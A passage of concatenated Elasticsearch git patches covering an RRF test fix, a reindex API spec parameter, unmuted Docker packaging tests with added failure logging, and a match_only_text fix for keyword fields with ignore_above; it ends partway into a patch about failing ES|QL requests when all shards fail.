-        In in = new In(EMPTY, NULL, Arrays.asList(ONE, TWO, THREE));
-        assertNull(in.fold(FoldContext.small()));
-        in = new In(EMPTY, NULL, Arrays.asList(ONE, NULL, THREE));
-        assertNull(in.fold(FoldContext.small()));
-
-    }
-
-    public void testHandleNullsOnRightValue() {
-        In in = new In(EMPTY, THREE, Arrays.asList(ONE, NULL, THREE));
-        assertTrue((Boolean) in.fold(FoldContext.small()));
-        in = new In(EMPTY, ONE, Arrays.asList(TWO, NULL, THREE));
-        assertNull(in.fold(FoldContext.small()));
-    }
-
-    private static Literal L(Object value) {
-        return of(EMPTY, value);
-    }
-
-    public void testConvertedNull() {
-        In in = new In(
-            EMPTY,
-            new FieldAttribute(Source.EMPTY, "field", new EsField("suffix", DataType.KEYWORD, Map.of(), true)),
-            Arrays.asList(ONE, new Literal(Source.EMPTY, null, randomFrom(DataType.types())), THREE)
-        );
-        var query = in.asQuery(LucenePushdownPredicates.DEFAULT, TranslatorHandler.TRANSLATOR_HANDLER);
-        assertEquals(new TermsQuery(EMPTY, "field", Set.of(1, 3)), query);
-    }
-
     @ParametersFactory
     public static Iterable<Object[]> parameters() {
         List<TestCaseSupplier> suppliers = new ArrayList<>();

From 21f8a83aa8f7dcfbb814a607921f368c05a085d0 Mon Sep 17 00:00:00 2001
From: Mridula <mridula.s@elastic.co>
Date: Tue, 15 Jul 2025 21:27:33 +0100
Subject: [PATCH 159/299] [9.1] Backporting Fixed RRF YAML REST Test: rrf with
 pinned retriever as a sub-retriever (#131318)

* Resolved conflicts

* Merge conflict resulted in unnecessary files
---
 muted-tests.yml                                          | 3 ---
 .../rest-api-spec/test/rrf/950_pinned_interaction.yml    | 9 +++------
 2 files changed, 3 insertions(+), 9 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 232f3a94ce3a3..a193b4535d616 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -486,9 +486,6 @@ tests:
 - class: org.elasticsearch.qa.verify_version_constants.VerifyVersionConstantsIT
   method: testLuceneVersionConstant
   issue: https://github.com/elastic/elasticsearch/issues/125638
-- class: org.elasticsearch.xpack.rank.rrf.RRFRankClientYamlTestSuiteIT
-  method: test {yaml=rrf/950_pinned_interaction/rrf with pinned retriever as a sub-retriever}
-  issue: https://github.com/elastic/elasticsearch/issues/129845
 - class: org.elasticsearch.gradle.internal.InternalDistributionBwcSetupPluginFuncTest
   method: "builds distribution from branches via archives extractedAssemble [bwcDistVersion: 8.2.1, bwcProject: bugfix, expectedAssembleTaskName:
     extractedAssemble, #2]"
diff --git a/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml b/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml
index e5629b7715994..bbdc7aff43b69 100644
--- a/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml
+++ b/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml
@@ -80,7 +80,7 @@ setup:
                 -
                   standard:
                     query:
-                      match: { text: "document" }
+                      match_none: {}
                 -
                   pinned:
                     ids: ["doc4", "doc5"]
@@ -90,9 +90,6 @@ setup:
                           match: { text: "document" }
 
   - match: { hits.total.value: 5 }
-  - match: { hits.hits.0._id: doc1 }
-  - lt: { hits.hits.0._score: 100.0 }
-  - match: { hits.hits.1._id: doc4 }
-  - match: { hits.hits.2._id: doc5 }
-
+  - match: { hits.hits.0._id: doc4 }
+  - match: { hits.hits.1._id: doc5 }
 

From 01378ddd5be83e42ebce92e166016244b162cd4d Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Wed, 16 Jul 2025 01:46:50 +0400
Subject: [PATCH 160/299] Add require_alias to reindex rest-api-spec (#130813)
 (#131323)

---
 .../src/main/resources/rest-api-spec/api/reindex.json        | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/reindex.json b/rest-api-spec/src/main/resources/rest-api-spec/api/reindex.json
index f8038853e4731..c28e2f8417883 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/reindex.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/reindex.json
@@ -57,6 +57,11 @@
       "max_docs":{
         "type":"number",
         "description":"Maximum number of documents to process (default: all documents)"
+      },
+      "require_alias":{
+        "type":"boolean",
+        "default":false,
+        "description":"When true, requires destination to be an alias."
       }
     },
     "body":{

From 3c46b2b5d324c9f02b935e467aa87f68b7892adc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Slobodan=20Adamovi=C4=87?=
 <slobodanadamovic@users.noreply.github.com>
Date: Wed, 16 Jul 2025 00:33:36 +0200
Subject: [PATCH 161/299] [9.1] Unmute docker tests, add more logging and
 increase startup timeout (#131203) (#131292)

* Unmute docker tests, add more logging and increase startup timeout (#131203)

Unmuting 33 DockerTests with added additional logging on failures.
Also, bumping docker startup timeout to account for slow security
auto-configuration, and additionally moving CA certificates inside
the retry while loop.

Resolves #129808
Resolves #123437
Resolves #120911
Resolves #120914
Resolves #120910
Resolves #120918
Resolves #120925
Resolves #124990
Resolves #116636
Resolves #125680
Resolves #116147
Resolves #126232
Resolves #126145
Resolves #116866
Resolves #126936
Resolves #127081
Resolves #127158
Resolves #127138
Resolves #128018
Resolves #128031
Resolves #128110
Resolves #128006
Resolves #128174
Resolves #128144
Resolves #128165
Resolves #128075
Resolves #128117
Resolves #128121
Resolves #128115
Resolves #128230
Resolves #128120
Resolves #128996
Resolves #128867

(cherry picked from commit 480615633cbf5c7e0b2f67a23f04d9e26f040592)

# Conflicts:
#	muted-tests.yml

* call dump debug logs
---
 muted-tests.yml                               | 96 -------------------
 .../packaging/test/PackagingTestCase.java     |  4 +
 .../packaging/util/ServerUtils.java           | 23 +++--
 .../packaging/util/docker/Docker.java         |  2 +-
 4 files changed, 22 insertions(+), 103 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index a193b4535d616..34f4127078ec7 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -140,21 +140,6 @@ tests:
 - class: org.elasticsearch.xpack.security.authc.service.ServiceAccountIT
   method: testAuthenticateShouldNotFallThroughInCaseOfFailure
   issue: https://github.com/elastic/elasticsearch/issues/120902
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test050BasicApiTests
-  issue: https://github.com/elastic/elasticsearch/issues/120911
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test140CgroupOsStatsAreAvailable
-  issue: https://github.com/elastic/elasticsearch/issues/120914
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test070BindMountCustomPathConfAndJvmOptions
-  issue: https://github.com/elastic/elasticsearch/issues/120910
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test071BindMountCustomPathWithDifferentUID
-  issue: https://github.com/elastic/elasticsearch/issues/120918
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test171AdditionalCliOptionsAreForwarded
-  issue: https://github.com/elastic/elasticsearch/issues/120925
 - class: org.elasticsearch.backwards.MixedClusterClientYamlTestSuiteIT
   method: test {p0=nodes.stats/11_indices_metrics/indices mappings exact count test for indices level}
   issue: https://github.com/elastic/elasticsearch/issues/120950
@@ -174,9 +159,6 @@ tests:
 - class: org.elasticsearch.xpack.ilm.TimeSeriesLifecycleActionsIT
   method: testHistoryIsWrittenWithFailure
   issue: https://github.com/elastic/elasticsearch/issues/123203
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test151MachineDependentHeapWithSizeOverride
-  issue: https://github.com/elastic/elasticsearch/issues/123437
 - class: org.elasticsearch.action.admin.cluster.node.tasks.CancellableTasksIT
   method: testChildrenTasksCancelledOnTimeout
   issue: https://github.com/elastic/elasticsearch/issues/123568
@@ -219,12 +201,6 @@ tests:
 - class: org.elasticsearch.packaging.test.BootstrapCheckTests
   method: test10Install
   issue: https://github.com/elastic/elasticsearch/issues/124957
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test011SecurityEnabledStatus
-  issue: https://github.com/elastic/elasticsearch/issues/124990
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test012SecurityCanBeDisabled
-  issue: https://github.com/elastic/elasticsearch/issues/116636
 - class: org.elasticsearch.index.shard.StoreRecoveryTests
   method: testAddIndices
   issue: https://github.com/elastic/elasticsearch/issues/124104
@@ -237,9 +213,6 @@ tests:
 - class: org.elasticsearch.smoketest.MlWithSecurityIT
   method: test {yaml=ml/data_frame_analytics_cat_apis/Test cat data frame analytics single job with header}
   issue: https://github.com/elastic/elasticsearch/issues/125642
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test010Install
-  issue: https://github.com/elastic/elasticsearch/issues/125680
 - class: org.elasticsearch.xpack.test.rest.XPackRestIT
   method: test {p0=transform/transforms_start_stop/Test schedule_now on an already started transform}
   issue: https://github.com/elastic/elasticsearch/issues/120720
@@ -255,9 +228,6 @@ tests:
 - class: org.elasticsearch.xpack.test.rest.XPackRestIT
   method: test {p0=transform/transforms_stats/Test get transform stats with timeout}
   issue: https://github.com/elastic/elasticsearch/issues/125975
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test021InstallPlugin
-  issue: https://github.com/elastic/elasticsearch/issues/116147
 - class: org.elasticsearch.action.RejectionActionIT
   method: testSimulatedSearchRejectionLoad
   issue: https://github.com/elastic/elasticsearch/issues/125901
@@ -267,9 +237,6 @@ tests:
 - class: org.elasticsearch.search.basic.SearchWithRandomDisconnectsIT
   method: testSearchWithRandomDisconnects
   issue: https://github.com/elastic/elasticsearch/issues/122707
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test020PluginsListWithNoPlugins
-  issue: https://github.com/elastic/elasticsearch/issues/126232
 - class: org.elasticsearch.xpack.test.rest.XPackRestIT
   method: test {p0=transform/transforms_reset/Test force reseting a running transform}
   issue: https://github.com/elastic/elasticsearch/issues/126240
@@ -279,15 +246,9 @@ tests:
 - class: org.elasticsearch.xpack.test.rest.XPackRestIT
   method: test {p0=ml/start_data_frame_analytics/Test start classification analysis when the dependent variable cardinality is too low}
   issue: https://github.com/elastic/elasticsearch/issues/126299
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test023InstallPluginUsingConfigFile
-  issue: https://github.com/elastic/elasticsearch/issues/126145
 - class: org.elasticsearch.smoketest.MlWithSecurityIT
   method: test {yaml=ml/start_data_frame_analytics/Test start classification analysis when the dependent variable cardinality is too low}
   issue: https://github.com/elastic/elasticsearch/issues/123200
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test022InstallPluginsFromLocalArchive
-  issue: https://github.com/elastic/elasticsearch/issues/116866
 - class: org.elasticsearch.smoketest.MlWithSecurityIT
   method: test {yaml=ml/trained_model_cat_apis/Test cat trained models}
   issue: https://github.com/elastic/elasticsearch/issues/125750
@@ -330,15 +291,6 @@ tests:
 - class: org.elasticsearch.cli.keystore.AddStringKeyStoreCommandTests
   method: testStdinWithMultipleValues
   issue: https://github.com/elastic/elasticsearch/issues/126882
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test024InstallPluginFromArchiveUsingConfigFile
-  issue: https://github.com/elastic/elasticsearch/issues/126936
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test026InstallBundledRepositoryPlugins
-  issue: https://github.com/elastic/elasticsearch/issues/127081
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test026InstallBundledRepositoryPluginsViaConfigFile
-  issue: https://github.com/elastic/elasticsearch/issues/127158
 - class: org.elasticsearch.xpack.remotecluster.CrossClusterEsqlRCS2EnrichUnavailableRemotesIT
   method: testEsqlEnrichWithSkipUnavailable
   issue: https://github.com/elastic/elasticsearch/issues/127368
@@ -357,48 +309,18 @@ tests:
 - class: org.elasticsearch.backwards.MixedClusterClientYamlTestSuiteIT
   method: test {p0=search/350_point_in_time/point-in-time with index filter}
   issue: https://github.com/elastic/elasticsearch/issues/127741
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test025SyncPluginsUsingProxy
-  issue: https://github.com/elastic/elasticsearch/issues/127138
 - class: org.elasticsearch.xpack.esql.action.CrossClusterQueryWithPartialResultsIT
   method: testOneRemoteClusterPartial
   issue: https://github.com/elastic/elasticsearch/issues/124055
 - class: org.elasticsearch.xpack.esql.qa.multi_node.EsqlSpecIT
   method: test {lookup-join.MvJoinKeyOnTheLookupIndex ASYNC}
   issue: https://github.com/elastic/elasticsearch/issues/128030
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test042KeystorePermissionsAreCorrect
-  issue: https://github.com/elastic/elasticsearch/issues/128018
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test072RunEsAsDifferentUserAndGroup
-  issue: https://github.com/elastic/elasticsearch/issues/128031
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test122CanUseDockerLoggingConfig
-  issue: https://github.com/elastic/elasticsearch/issues/128110
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test041AmazonCaCertsAreInTheKeystore
-  issue: https://github.com/elastic/elasticsearch/issues/128006
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test130JavaHasCorrectOwnership
-  issue: https://github.com/elastic/elasticsearch/issues/128174
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test600Interrupt
-  issue: https://github.com/elastic/elasticsearch/issues/128144
 - class: org.elasticsearch.packaging.test.EnrollmentProcessTests
   method: test20DockerAutoFormCluster
   issue: https://github.com/elastic/elasticsearch/issues/128113
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test121CanUseStackLoggingConfig
-  issue: https://github.com/elastic/elasticsearch/issues/128165
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test080ConfigurePasswordThroughEnvironmentVariableFile
-  issue: https://github.com/elastic/elasticsearch/issues/128075
 - class: org.elasticsearch.ingest.geoip.GeoIpDownloaderCliIT
   method: testInvalidTimestamp
   issue: https://github.com/elastic/elasticsearch/issues/128284
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test120DockerLogsIncludeElasticsearchLogs
-  issue: https://github.com/elastic/elasticsearch/issues/128117
 - class: org.elasticsearch.packaging.test.TemporaryDirectoryConfigTests
   method: test21AcceptsCustomPathInDocker
   issue: https://github.com/elastic/elasticsearch/issues/128114
@@ -417,30 +339,12 @@ tests:
 - class: org.elasticsearch.xpack.esql.action.CrossClusterQueryWithPartialResultsIT
   method: testFailToStartRequestOnRemoteCluster
   issue: https://github.com/elastic/elasticsearch/issues/128545
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test124CanRestartContainerWithStackLoggingConfig
-  issue: https://github.com/elastic/elasticsearch/issues/128121
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test085EnvironmentVariablesAreRespectedUnderDockerExec
-  issue: https://github.com/elastic/elasticsearch/issues/128115
 - class: org.elasticsearch.compute.operator.LimitOperatorTests
   method: testEarlyTermination
   issue: https://github.com/elastic/elasticsearch/issues/128721
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test040JavaUsesTheOsProvidedKeystore
-  issue: https://github.com/elastic/elasticsearch/issues/128230
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test150MachineDependentHeap
-  issue: https://github.com/elastic/elasticsearch/issues/128120
 - class: org.elasticsearch.xpack.inference.InferenceGetServicesIT
   method: testGetServicesWithCompletionTaskType
   issue: https://github.com/elastic/elasticsearch/issues/128952
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test073RunEsAsDifferentUserAndGroupWithoutBindMounting
-  issue: https://github.com/elastic/elasticsearch/issues/128996
-- class: org.elasticsearch.packaging.test.DockerTests
-  method: test081SymlinksAreFollowedWithEnvironmentVariableFiles
-  issue: https://github.com/elastic/elasticsearch/issues/128867
 - class: org.elasticsearch.xpack.esql.qa.single_node.GenerativeForkIT
   method: test {lookup-join.EnrichLookupStatsBug ASYNC}
   issue: https://github.com/elastic/elasticsearch/issues/129228
diff --git a/qa/packaging/src/test/java/org/elasticsearch/packaging/test/PackagingTestCase.java b/qa/packaging/src/test/java/org/elasticsearch/packaging/test/PackagingTestCase.java
index a157cc84e624e..2db2ebb618d02 100644
--- a/qa/packaging/src/test/java/org/elasticsearch/packaging/test/PackagingTestCase.java
+++ b/qa/packaging/src/test/java/org/elasticsearch/packaging/test/PackagingTestCase.java
@@ -145,6 +145,10 @@ public abstract class PackagingTestCase extends Assert {
         @Override
         protected void failed(Throwable e, Description description) {
             failed = true;
+            if (installation != null && installation.distribution.isDocker()) {
+                logger.warn("Test {} failed. Printing logs for failed test...", description.getMethodName());
+                dumpDebug();
+            }
         }
     };
 
diff --git a/qa/packaging/src/test/java/org/elasticsearch/packaging/util/ServerUtils.java b/qa/packaging/src/test/java/org/elasticsearch/packaging/util/ServerUtils.java
index ea71308b11940..f915388011ed9 100644
--- a/qa/packaging/src/test/java/org/elasticsearch/packaging/util/ServerUtils.java
+++ b/qa/packaging/src/test/java/org/elasticsearch/packaging/util/ServerUtils.java
@@ -150,7 +150,19 @@ private static HttpResponse execute(Request request, String username, String pas
             executor.auth(username, password);
             executor.authPreemptive(new HttpHost("localhost", 9200));
         }
-        return executor.execute(request).returnResponse();
+        try {
+            return executor.execute(request).returnResponse();
+        } catch (Exception e) {
+            logger.warn(
+                "Failed to execute request [{}] with username/password [{}/{}] and caCert [{}]",
+                request.toString(),
+                username,
+                password,
+                caCert,
+                e
+            );
+            throw e;
+        }
     }
 
     // polls every two seconds for Elasticsearch to be running on 9200
@@ -238,14 +250,13 @@ public static void waitForElasticsearch(
         long timeElapsed = 0;
         boolean started = false;
         Throwable thrownException = null;
-        if (caCert == null) {
-            caCert = getCaCert(installation);
-        }
 
         while (started == false && timeElapsed < waitTime) {
             if (System.currentTimeMillis() - lastRequest > requestInterval) {
+                if (caCert == null) {
+                    caCert = getCaCert(installation);
+                }
                 try {
-
                     final HttpResponse response = execute(
                         Request.Get((caCert != null ? "https" : "http") + "://localhost:9200/_cluster/health")
                             .connectTimeout((int) timeoutLength)
@@ -276,7 +287,7 @@ public static void waitForElasticsearch(
                     }
                     started = true;
 
-                } catch (IOException e) {
+                } catch (Exception e) {
                     if (thrownException == null) {
                         thrownException = e;
                     } else {
diff --git a/qa/packaging/src/test/java/org/elasticsearch/packaging/util/docker/Docker.java b/qa/packaging/src/test/java/org/elasticsearch/packaging/util/docker/Docker.java
index ab167d7663be1..a17ae7781db48 100644
--- a/qa/packaging/src/test/java/org/elasticsearch/packaging/util/docker/Docker.java
+++ b/qa/packaging/src/test/java/org/elasticsearch/packaging/util/docker/Docker.java
@@ -73,7 +73,7 @@ public class Docker {
     public static final Shell sh = new Shell();
     public static final DockerShell dockerShell = new DockerShell();
     public static final int STARTUP_SLEEP_INTERVAL_MILLISECONDS = 1000;
-    public static final int STARTUP_ATTEMPTS_MAX = 30;
+    public static final int STARTUP_ATTEMPTS_MAX = 45;
 
     /**
      * The length of the command exceeds what we can use for COLUMNS so we use

From 38343235aae8331b1e20695e30a9f2488cf1e467 Mon Sep 17 00:00:00 2001
From: Jordan Powers <jordan.powers@elastic.co>
Date: Tue, 15 Jul 2025 16:28:11 -0700
Subject: [PATCH 162/299] Fix match_only_text for keyword multi-fields with
 ignore_above (#131314) (#131333)

---
 .../extras/MatchOnlyTextFieldMapper.java      | 22 ++++-
 .../test/match_only_text/10_basic.yml         | 87 +++++++++++++++++++
 .../index/mapper/KeywordFieldMapper.java      | 29 ++++---
 3 files changed, 122 insertions(+), 16 deletions(-)

diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
index 04ace5ccc4157..050574272b8c8 100644
--- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
+++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
@@ -47,6 +47,7 @@
 import org.elasticsearch.index.mapper.BlockStoredFieldsReader;
 import org.elasticsearch.index.mapper.DocumentParserContext;
 import org.elasticsearch.index.mapper.FieldMapper;
+import org.elasticsearch.index.mapper.KeywordFieldMapper;
 import org.elasticsearch.index.mapper.MappedFieldType;
 import org.elasticsearch.index.mapper.MapperBuilderContext;
 import org.elasticsearch.index.mapper.SourceValueFetcher;
@@ -66,6 +67,7 @@
 import java.io.IOException;
 import java.io.UncheckedIOException;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.List;
 import java.util.Map;
@@ -252,6 +254,10 @@ private IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOExcepti
                 String parentField = searchExecutionContext.parentPath(name());
                 var parent = searchExecutionContext.lookup().fieldType(parentField);
                 if (parent.isStored()) {
+                    if (parent instanceof KeywordFieldMapper.KeywordFieldType keywordParent
+                        && keywordParent.ignoreAbove() != Integer.MAX_VALUE) {
+                        return storedFieldFetcher(parentField, keywordParent.originalName());
+                    }
                     return storedFieldFetcher(parentField);
                 } else if (parent.hasDocValues()) {
                     var ifd = searchExecutionContext.getForField(parent, MappedFieldType.FielddataOperation.SEARCH);
@@ -265,7 +271,11 @@ private IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOExcepti
                 if (kwd != null) {
                     var fieldType = kwd.fieldType();
                     if (fieldType.isStored()) {
-                        return storedFieldFetcher(fieldType.name());
+                        if (fieldType.ignoreAbove() != Integer.MAX_VALUE) {
+                            return storedFieldFetcher(fieldType.name(), fieldType.originalName());
+                        } else {
+                            return storedFieldFetcher(fieldType.name());
+                        }
                     } else if (fieldType.hasDocValues()) {
                         var ifd = searchExecutionContext.getForField(fieldType, MappedFieldType.FielddataOperation.SEARCH);
                         return docValuesFieldFetcher(ifd);
@@ -312,13 +322,17 @@ private static IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IO
             };
         }
 
-        private static IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOException>> storedFieldFetcher(String name) {
-            var loader = StoredFieldLoader.create(false, Set.of(name));
+        private static IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOException>> storedFieldFetcher(String... names) {
+            var loader = StoredFieldLoader.create(false, Set.of(names));
             return context -> {
                 var leafLoader = loader.getLoader(context, null);
                 return docId -> {
                     leafLoader.advanceTo(docId);
-                    return leafLoader.storedFields().get(name);
+                    var storedFields = leafLoader.storedFields();
+                    if (names.length == 1) {
+                        return storedFields.get(names[0]);
+                    }
+                    return Arrays.stream(names).map(storedFields::get).filter(Objects::nonNull).flatMap(List::stream).toList();
                 };
             };
         }
diff --git a/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml b/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml
index 1d52038e29d45..deb0f1a496814 100644
--- a/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml
+++ b/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml
@@ -479,6 +479,49 @@ synthetic_source match_only_text as multi-field with stored keyword as parent:
       hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
 
 ---
+synthetic_source match_only_text as multi-field with ignored stored keyword as parent:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: keyword
+                store: true
+                doc_values: false
+                ignore_above: 10
+                fields:
+                  text:
+                    type: match_only_text
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id: "1"
+        refresh: true
+        body:
+          foo: "Apache Lucene powers Elasticsearch"
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo.text: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
+---
 synthetic_source match_only_text with multi-field:
   - requires:
       cluster_features: [ "mapper.source.mode_from_index_setting" ]
@@ -561,3 +604,47 @@ synthetic_source match_only_text with stored multi-field:
   - match: { "hits.total.value": 1 }
   - match:
       hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
+
+---
+synthetic_source match_only_text with ignored stored multi-field:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: match_only_text
+                fields:
+                  raw:
+                    type: keyword
+                    store: true
+                    doc_values: false
+                    ignore_above: 10
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id: "1"
+        refresh: true
+        body:
+          foo: "Apache Lucene powers Elasticsearch"
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/KeywordFieldMapper.java b/server/src/main/java/org/elasticsearch/index/mapper/KeywordFieldMapper.java
index cf731cc5cbc65..594b27f029901 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/KeywordFieldMapper.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/KeywordFieldMapper.java
@@ -513,6 +513,7 @@ public static final class KeywordFieldType extends StringFieldType {
         private final IndexMode indexMode;
         private final IndexSortConfig indexSortConfig;
         private final boolean hasDocValuesSkipper;
+        private final String originalName;
 
         public KeywordFieldType(
             String name,
@@ -541,6 +542,7 @@ public KeywordFieldType(
             this.indexMode = builder.indexMode;
             this.indexSortConfig = builder.indexSortConfig;
             this.hasDocValuesSkipper = DocValuesSkipIndexType.NONE.equals(fieldType.docValuesSkipIndexType()) == false;
+            this.originalName = isSyntheticSource ? name + "._original" : null;
         }
 
         public KeywordFieldType(String name, boolean isIndexed, boolean hasDocValues, Map<String, String> meta) {
@@ -555,6 +557,7 @@ public KeywordFieldType(String name, boolean isIndexed, boolean hasDocValues, Ma
             this.indexMode = IndexMode.STANDARD;
             this.indexSortConfig = null;
             this.hasDocValuesSkipper = false;
+            this.originalName = null;
         }
 
         public KeywordFieldType(String name) {
@@ -580,6 +583,7 @@ public KeywordFieldType(String name, FieldType fieldType) {
             this.indexMode = IndexMode.STANDARD;
             this.indexSortConfig = null;
             this.hasDocValuesSkipper = DocValuesSkipIndexType.NONE.equals(fieldType.docValuesSkipIndexType()) == false;
+            this.originalName = null;
         }
 
         public KeywordFieldType(String name, NamedAnalyzer analyzer) {
@@ -594,6 +598,7 @@ public KeywordFieldType(String name, NamedAnalyzer analyzer) {
             this.indexMode = IndexMode.STANDARD;
             this.indexSortConfig = null;
             this.hasDocValuesSkipper = false;
+            this.originalName = null;
         }
 
         @Override
@@ -1057,6 +1062,15 @@ public Query automatonQuery(
         ) {
             return new AutomatonQueryWithDescription(new Term(name()), automatonSupplier.get(), description);
         }
+
+        /**
+         * The name used to store "original" that have been ignored
+         * by {@link KeywordFieldType#ignoreAbove()} so that they can be rebuilt
+         * for synthetic source.
+         */
+        public String originalName() {
+            return originalName;
+        }
     }
 
     private final boolean indexed;
@@ -1109,7 +1123,7 @@ private KeywordFieldMapper(
         this.useDocValuesSkipper = useDocValuesSkipper;
         this.offsetsFieldName = offsetsFieldName;
         this.indexSourceKeepMode = indexSourceKeepMode;
-        this.originalName = isSyntheticSource ? fullPath() + "._original" : null;
+        this.originalName = mappedFieldType.originalName();
     }
 
     @Override
@@ -1169,7 +1183,7 @@ private boolean indexValue(DocumentParserContext context, XContentString value)
                 // Save a copy of the field so synthetic source can load it
                 var utfBytes = value.bytes();
                 var bytesRef = new BytesRef(utfBytes.bytes(), utfBytes.offset(), utfBytes.length());
-                context.doc().add(new StoredField(originalName(), bytesRef));
+                context.doc().add(new StoredField(originalName, bytesRef));
             }
             return false;
         }
@@ -1280,15 +1294,6 @@ boolean hasNormalizer() {
         return normalizerName != null;
     }
 
-    /**
-     * The name used to store "original" that have been ignored
-     * by {@link KeywordFieldType#ignoreAbove()} so that they can be rebuilt
-     * for synthetic source.
-     */
-    private String originalName() {
-        return originalName;
-    }
-
     @Override
     protected SyntheticSourceSupport syntheticSourceSupport() {
         if (hasNormalizer()) {
@@ -1337,7 +1342,7 @@ protected BytesRef preserve(BytesRef value) {
         }
 
         if (fieldType().ignoreAbove != Integer.MAX_VALUE) {
-            layers.add(new CompositeSyntheticFieldLoader.StoredFieldLayer(originalName()) {
+            layers.add(new CompositeSyntheticFieldLoader.StoredFieldLayer(originalName) {
                 @Override
                 protected void writeValue(Object value, XContentBuilder b) throws IOException {
                     BytesRef ref = (BytesRef) value;

From d960d0f3bebbcb02b776bc0073e05f6d58090cdf Mon Sep 17 00:00:00 2001
From: Nhat Nguyen <nhat.nguyen@elastic.co>
Date: Tue, 15 Jul 2025 16:39:25 -0700
Subject: [PATCH 163/299] Fail request when all target shards fail in runtime
 (#131177) (#131337)

If all target shards, excluding skipped shards, fail, we should fail the
entire query regardless of the partial_results configuration or
skip_unavailable setting. This behavior does not fully align with the
search API, where skip_unavailable ignores all failures from remote
clusters and only fails the request when all shards in the local cluster
fail. However, we believe the proposed behavior is more sensible than
the existing behavior in the search API.

Closes #128994
---
 .../test/esql/EsqlPartialResultsIT.java       | 55 +++++++++++-----
 .../xpack/esql/action/EsqlNodeFailureIT.java  | 66 ++++++++++---------
